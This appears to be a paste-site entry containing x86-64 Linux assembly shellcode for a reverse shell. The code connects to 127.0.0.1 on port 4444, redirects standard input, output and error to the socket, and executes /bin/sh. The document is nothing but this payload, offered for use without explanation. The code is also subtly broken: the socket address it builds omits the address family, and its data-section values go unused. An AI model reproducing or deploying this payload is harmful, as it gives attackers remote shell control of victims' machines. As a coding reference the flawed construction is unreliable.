fork download
  1. section .data
  2. ip_address db 127,0,0,1 ; IP address: 127.0.0.1
  3. port dw 0x5c11 ; Port: 4444 (0x115c in little endian)
  4.  
  5. section .text
  6. global _start
  7.  
  8. _start:
  9. ; socket(AF_INET, SOCK_STREAM, 0)
  10. mov rax, 41 ; syscall: socket
  11. mov rdi, 2 ; AF_INET
  12. mov rsi, 1 ; SOCK_STREAM
  13. xor rdx, rdx ; Protocol 0
  14. syscall
  15.  
  16. mov rdi, rax ; Save socket descriptor
  17.  
  18. ; Prepare sockaddr_in structure
  19. ; struct sockaddr_in {
  20. ; short sin_family; // AF_INET
  21. ; unsigned short sin_port; // Port number
  22. ; struct in_addr sin_addr; // IP address
  23. ; char sin_zero[8];
  24. ; };
  25. push rdx ; sin_zero
  26. mov rbx, 0x0100007f ; 127.0.0.1 in hex
  27. shl rbx, 16
  28. mov bx, 0x5c11 ; Port 4444
  29. push rbx
  30. mov rsi, rsp ; Pointer to sockaddr_in
  31.  
  32. ; connect(socket, sockaddr_in, 16)
  33. mov rax, 42 ; syscall: connect
  34. mov rdx, 16 ; Size of sockaddr_in
  35. syscall
  36.  
  37. ; Duplicate socket descriptor to stdin, stdout, stderr
  38. mov rsi, 0
  39. .dup_loop:
  40. mov rax, 33 ; syscall: dup2
  41. mov rdi, rdi ; Socket descriptor
  42. syscall
  43. inc rsi
  44. cmp rsi, 3
  45. jl .dup_loop
  46.  
  47. ; execve("/bin/sh", NULL, NULL)
  48. xor rdx, rdx ; NULL
  49. push rdx
  50. mov rbx, 0x68732f6e69622f2f
  51. push rbx
  52. mov rdi, rsp ; Pointer to "/bin/sh"
  53. push rdx
  54. push rdi
  55. mov rsi, rsp ; argv
  56. mov rax, 59 ; syscall: execve
  57. syscall
Success #stdin #stdout 0.01s 5308KB
stdin
Standard input is empty
stdout
Standard output is empty